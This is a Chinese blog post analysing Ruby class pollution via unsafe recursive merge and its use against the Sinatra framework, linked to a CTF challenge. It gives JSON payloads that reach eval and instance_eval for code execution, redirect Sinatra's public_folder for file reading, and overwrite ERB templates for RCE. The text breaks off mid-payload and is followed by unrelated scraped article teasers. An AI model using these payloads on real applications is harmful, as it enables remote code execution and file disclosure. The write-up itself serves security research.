浅析Ruby类污染及其在Sinatra框架下的利用
和JavaScript中的原型链污染类似,Ruby中也存在类似的概念——类污染,两者都是对象进行不安全的递归合并导致的。
网上也没有相关的分析文章,只有下面这篇文章应该是第一次谈到这个问题
Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges · Doyensec's Blog
刚打完的长城杯,ezruby一题应该就是基于这篇文章的进一步利用。
Ruby类介绍
在Ruby中也是万物皆对象,下面定义一个Person类
class Person@@cnt = 1# 定义属性attr_accessor :name, :age# 初始化方法def initialize(name, age)@name = name@age = ageend# 定义方法def greet"My name is #{@name} and I am #{@age} years old."end
endperson = Person.new("Alice", 30)
puts person.greet
类变量(类似Java中类的静态变量)使用 @@前缀,实例变量使用@前缀,在类内部才用这种前缀来访问。
冒号前缀表示符号(Symbol)。Ruby中符号是轻量级的、不可变的字符串,通常用于表示标识符、方法名或键。符号的优点是它们在内存中只存储一次,因此在需要频繁比较或使用相同字符串的情况下,使用符号可以提高性能。
Ruby对象的一些特殊的方法:
attr_accessor:定义实例变量的getter和setter方法,用于在类外部访问实例变量initialize:类的构造方法to_s:toString方法inspect:和to_s差不多,常用于debugmethod_missing:类似PHP的__call__方法,当调用一个不存在的方法时会触发respond_to?:检测对象是否有某个方法或属性send:根据方法名来调用(包括私有方法)public_send:根据方法名调用公开方法
Ruby对象的一些特殊的属性(类也算对象)
class:当前对象的类superclass:父类subclasses:子类数组instance_variables:实例变量名的数组class_variables:类变量名的数组
当然不止这些,具体就不展开了。
在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它。
class MyClass
endputs MyClass.superclass # Output: Object
puts Object.superclass # Output: BasicObject
puts BasicObject.superclass # Output: nil
在实际污染中,用到的就是class、superclass、subclasses,先从当前对象找到当前类,回溯到父类Object,锁定要污染的变量所在的类,在从父类一层层找子类。
不安全的递归合并
Doyensec的文章中给出下面的merge函数,也介绍了两个实际案例,分别是Ruby on Rails的内置组件ActiveSupport提供的`deep_merge,以及Hashie库提供的deep_merge,感兴趣可以看原文。
def recursive_merge(original, additional, current_obj = original)additional.each do |key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object = Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginal
end
recursive_merge用于递归地合并两个对象original和additional
- 遍历
additional对象中的每个键值对。 - 处理嵌套的哈希:如果值是一个哈希,它会检查
current_obj(初始为original)是否响应该键。如果响应,则递归合并嵌套的哈希。如果不响应,则创建一个新对象,将其设置为实例变量,并为其创建访问器。 - 处理非哈希值:如果值不是哈希,则直接在
current_obj上设置该值为实例变量,并为其创建访问器。
下面举个例子
污染当前对象
class Aattr_accessor :xdef initialize(x)@x = xenddef merge_with(additional)recursive_merge(self, additional)enddef checkprotected_methods().each do |method|instance_eval(method.to_s)endend
end
若能污染protected_methods,其返回值就能传入instance_eval进行代码执行。
a = A.new(1)
a.merge_with({"protected_methods": ["`calc`"]})
a.check
当然这种污染的是当前的对象的属性,不影响父类以及其他实例对象。
污染父类
class Base@@cmd = "puts 1"
endclass Cmder < Basedef merge_with(additional)recursive_merge(self, additional)enddef checkeval(Base.cmd)# eval(@@cmd) 污染失败"ok"end
end
对于这种情况,可以污染父类的cmd变量,但这里实际上是给父类Base增加了一个实例变量@cmd,从而通过Base.cmd访问时,实例变量@cmd遮盖了类变量@@cmd
c = Cmder.new
c.merge_with({"class": {"superclass": {"cmd": "`calc`"}}})
c.check
puts Base.class_variables # @@cmd
puts Base.instance_variables # @cmd
污染其他类
class Cmder@@cmd = "puts 1"def checkeval(Cmder.cmd)end
endclass Innocentdef merge_with(additional)recursive_merge(self, additional)end
end
能否通过Innocent污染到Cmder呢?
subclasses可以获取到Object的子类,但返回的是数组,可以利用数组的sample方法,随机返回一个元素
通过多次污染,总有几率污染到Cmder这个子类
1000.times doi = Innocent.newi.merge_with({"class": {"superclass": {"subclasses": {"sample": {"cmd": "`calc`"}}}}})
endc = Cmder.new
c.check
Doyensec的文章中提到了污染Person的url变量来进行SSRF,以及污染KeySigner的signing_key变量来实现伪造签名数据。但我们追求的是通过类污染来实现RCE。
注意文章中给出的情景,使用的是Sinatra这个web框架,能否污染框架中的关键变量来实现RCE或者文件读取之类的操作呢。
类污染设置静态目录
Sinatra框架中是通过如下配置来设置静态目录的
set :public_folder, File.dirname(__FILE__) + '/static'
跟进set方法可以发现他实际就是给Sinatra::Base设置了一个属性的getter、setter

class_eval给类动态定义方法

因此可以污染public_folder这个属性来修改静态目录
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "E:/Server"}}}}}}
类污染写ERB模板
调试可知Sinatra::Base有个templates属性,类型是哈希,猜测他是存放模板的

Sinatra 默认模板位于./views目录,也支持通过如下语句定义模板
template :index do'%div.title Hello World!'
end
可以看到template方法实际就是给templates这个属性赋值(block是个代码块,需要返回模板内容的字符串)

有如下渲染模板的路由
get('/') doerb :hello
end
ERB (Embedded Ruby) 是 Ruby 标准库自带的,它允许在文本文件中嵌入 Ruby 代码,通常用于生成 HTML 文件,就是一个模板引擎。
可以污染templates属性,覆盖hello模板,通过ERB模板实现RCE
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ca相关文章:
浅析Ruby类污染及其在Sinatra框架下的利用
和JavaScript中的原型链污染类似,Ruby中也存在类似的概念——类污染,两者都是对象进行不安全的递归合并导致的。 网上也没有相关的分析文章,只有下面这篇文章应该是第一次谈到这个问题 Class Pollution in Ruby: A Deep Dive into Exploiti…...
【NLP251】Transformer API调用
1. nn.Transformer nn.Transformer封装了Transformer中的包含编码器(Encoder)和解码器(Decoder)。如下图所示,它对Encoder和Decoder两部分的包装,它并没有实现输入中的Embedding和Positional Encoding和最…...
ubuntu下迁移docker文件夹
在 Ubuntu 系统中迁移 Docker 文件夹(如 Docker 数据存储文件夹 /var/lib/docker)到另一个磁盘或目录,通常是为了释放系统盘空间。以下是迁移过程的详细步骤: 1. 停止 Docker 服务 在进行迁移之前,必须停止 Docker 服…...
为AI聊天工具添加一个知识系统 之93 详细设计之34 Derivation 之 8 实现和平台
本文要点 要点 插入话题:实现 “实现”作为一个普通名词(一般术语)应该遵循第一性第二性第三性原则。其 第一性第二性第三性 分别是:完整性/鲁棒性/健壮性 ,三者 分别注重 性能/功能/能力。即 首先是 实现完整性的性…...
idea 如何使用deepseek 保姆级教程
1.安装idea插件codegpt 2.注册deepseek并生成apikey deepseek 开发平台: DeepSeek 3.在idea进行codegpt配置 打开idea的File->Settings->Tools->CodeGPT->Providers->Custom OpenAI Chat Completions的URL填写 https://api.deepseek…...
python实现情绪识别模块,并将模块封装成可执行文件
目录: 1.源码:2.情绪识别模型运行流程:3.模型封装需要注意的地方:4.未解决问题: 1.源码: https://gitcode.com/xyint/deep_learning.git 2.情绪识别模型运行流程: 需要获取用户摄像头权限&…...
AH比价格策略源代码
用python 获取在A股和香港上市的公司和在A股和香港上市的公司股票代码和名称并且选出港股和A股涨幅相差比较大的股票 import akshare as akdef get_ah_stocks():# 获取A股股票列表a_stock_list ak.stock_zh_a_spot_em()print(a_stock_list)a_stock_list a_stock_list[[&quo…...
trimesh 加载obj mesh处理
目录 trimesh 加载obj trimesh入门 主要功能 安装 基本用法 1. 加载和保存 3D 模型 2. 几何操作 3. 网格分析 4. 可视化 5. 布尔运算 6. 碰撞检测 trimesh 加载obj template_mesh trimesh.load_mesh(r"E:\project\3d\lilpotat--pytorch3d\pixie_data\smplx_te…...
常见数据结构的C语言定义---《数据结构C语言版》
文章目录 1. 静态分配的顺序表2. 动态分配的顺序表3. 单 链 表4. 双 链 表5. 静态链表6. 顺序栈7. 链栈8. 顺序存储的队列9. 链式存储的队列10. 链式存储的二叉树11. 线索二叉树12. 树的双亲表示法13. 树的孩子兄弟表示法12. 图的邻接矩阵法13. 图的邻接表法1-13集合版本 #defi…...
C++小知识记录,不定时更新
1. 普通函数不能在头文件中定义: 当多个.cpp调用时,在编译链接时会在.o文件中重复定义报错 2. 为什么内联函数可以在头文件中定义:适用短小函数 当.cpp调用时,编译器只会在当前文件展开该函数,相当于每个.cpp会重新定…...
python--sqlite
1. 连接到数据库 使用 sqlite3.connect() 方法可以创建一个到SQLite数据库的连接。如果指定的数据库文件不存在,它会自动创建一个新的数据库文件。 import sqlite3# 连接到数据库,如果数据库文件不存在则会创建一个新的 conn sqlite3.connect(example…...
使用 Axios ——个人信息修改与提示框实现
目录 详细介绍:个人信息设置与修改页面实现 1. HTML 结构 2. CSS 样式 3. JavaScript 核心逻辑 a. 信息渲染与表单提交 b. 头像上传与预览 4. 功能详解 5. 总结 提示: 这段代码展示了如何创建一个简单的个人信息设置页面,包含用户个…...
群晖安装Gitea
安装Docker Docker运行Gitea 上传gitea包,下载地址:https://download.csdn.net/download/hmxm6/90360455 打开docker 点击印象,点击新增,从文件添加 点击启动 可根据情况,进行高级设置,没有就下一步 点击应…...
LabVIEW商业软件开发
在商业软件开发和仪器自动测试领域,LabVIEW以其图形化编程方式、高效的数据采集能力和强大的硬件集成优势,成为众多工程项目的核心开发工具。然而,商业软件的开发远不止编写代码和实现功能那么简单,尤其是在仪器自动测试领域&…...
内容中台赋能人工智能技术提升业务创新能力
内容概要 在当今快速变化的市场环境中,企业需要不断寻求创新以保持竞争力。内容中台作为一种新型的内容管理架构,能够极大地提升企业在内容创建、管理和分发方面的效率。通过与人工智能技术的深度融合,企业能够将海量的数据和信息转化为有价…...
spring 基于构造方法实例化对象
在 spring 中,对象的实例化创建都在 AbstractAutowireCapableBeanFactory#createBeanInstance 方法中完成,其中定义了不少实例化策略,如:Supplier、工厂方法、构造方法、无参构造。其中无参构造,即 AbstractAutowireCa…...
生成式聊天机器人 -- 基于Pytorch + Global Attention + 双向 GRU 实现的SeqToSeq模型 -- 下
生成式聊天机器人 -- 基于Pytorch Global Attention 双向 GRU 实现的SeqToSeq模型 -- 下 训练Masked 损失单次训练过程迭代训练过程 测试贪心解码(Greedy decoding)算法实现对话函数 训练和测试模型完整代码 生成式聊天机器人 – 基于Pytorch Global Attention 双向 GRU 实…...
Vue.js 与第三方插件的集成
Vue.js 与第三方插件的集成 今天我们来聊聊如何在 Vue 项目中集成第三方插件。随着项目功能不断增多,我们常常需要引入各种第三方库和插件,比如国际化、图表、日期处理等,来提升开发效率和用户体验。下面就跟大家分享一下集成第三方插件的常…...
Netty初学九 心跳与空闲检测
一、网络问题 1.连接假死: 连接假死的现象是:在某一端看来,底层的Tcp连接已经断开,但是应用程序没有捕获到,会认为这条连接仍然是存在的。从TCP层面来说,只有收到四次握手数据包或者一个RST数据包才可以表示…...
数据分析如何做EDA
探索性数据分析(EDA,Exploratory Data Analysis)是数据分析过程中至关重要的一步,其目的是通过统计和可视化技术对数据进行初步分析,从而揭示数据的潜在模式、特征和异常值,并为后续的数据预处理、特征工程…...
AD域控粗略了解
一、前提 转眼大四,目前已入职上饶一公司从事运维工程师,这与我之前干的开发有着很大的差异,也学习到了许多新的知识。今天就写下我对于运维工作中常用的功能——域控的理解。 二、为什么要有域控,即域控的作用 首先我们必须要…...
【计算机网络】TCP/IP 网络模型有哪几层?
目录 应用层 传输层 网络层 网络接口层 总结 为什么要有 TCP/IP 网络模型? 对于同一台设备上的进程间通信,有很多种方式,比如有管道、消息队列、共享内存、信号等方式,而对于不同设备上的进程间通信,就需要网络通…...
使用 Typora 编写 MD 文档:从入门到精通(附赠百度网盘下载地址)
引言 Markdown(简称 MD)是一种轻量级标记语言,广泛应用于技术写作、博客撰写、文档管理等领域。Typora 是一款功能强大且易于使用的 Markdown 编辑器,支持实时预览、语法高亮、主题切换等功能,深受开发者和写作者的喜…...
Spring统一修改RequestBody
我们编写RestController时,有可能多个接口使用了相同的RequestBody,在一些场景下需求修改传入的RequestBody的值,如果是每个controller中都去修改,代码会比较繁琐,最好的方式是在一个地方统一修改,比如将he…...
【Flink实战】Flink -C实现类路径配置与实现UDF Jar
文章目录 1. 描述2. 使用语法3. -C 适用的 Flink 运行模式4. USING JAR 不可用 1. 描述 Flink 中的 -C 选项用于将 URL 添加到作业的类加载器中。URL可以指向本地、HTTP 服务器或 HDFS 等资源的Jar文件。 注意: 此处的classpath的url必须是一个能够在client&…...
DevOps的个人学习
一、DevOps介绍 软件开发最初是由两个团队组成: 开发团队:负责设计和构建系统。运维团队:负责测试代码后部署上线,确保系统稳定安全运行。 这两个看似目标不同的团队需要协同完成一个软件的开发。DevOps整合了开发与运维团队&a…...
【东莞常平】戴尔R710服务器不开机维修分享
1:2025-02-06一位老客户的朋友刚开工公司ERP服务器一台戴尔老服务器故障无法开机,于是经老客户介绍找到我们。 2:服务器型号是DELL PowerEdge R710 这个服务器至少也有15年以上的使用年限了。 3:客户反馈的故障问题为:…...
STM32自学记录(八)
STM32自学记录 文章目录 STM32自学记录前言一、ADC杂记二、实验1.学习视频2.复现代码 总结 前言 ADC 一、ADC杂记 ADC其实就是一个电压表,把引脚的电压值测出来,放在一个变量里。 ADC:模拟——数字转换器。 ADC可以将引脚上连续变化的模拟电…...
【Java八股】JVM
JVM 1. jvm内存区域分为哪些部分 线程私有的:程序计数器、虚拟机栈、本地方法栈 程序计数器:指示当前线程执行到的字节码文件的行号,是线程切换后保证线程能恢复到正确的执行位置的关键 虚拟机栈:用于存储方法调用的数据&…...
Citespace之关键词爆发检测分析(进阶分析)
在开始citespace进行关键词爆发检测分析之前,如果不会使用citespace的,可以参考我之前这一篇博客: https://blog.csdn.net/m0_56184997/article/details/145536095?spm1001.2014.3001.5501 一、创建工程后进行设置 在创建好工程后…...
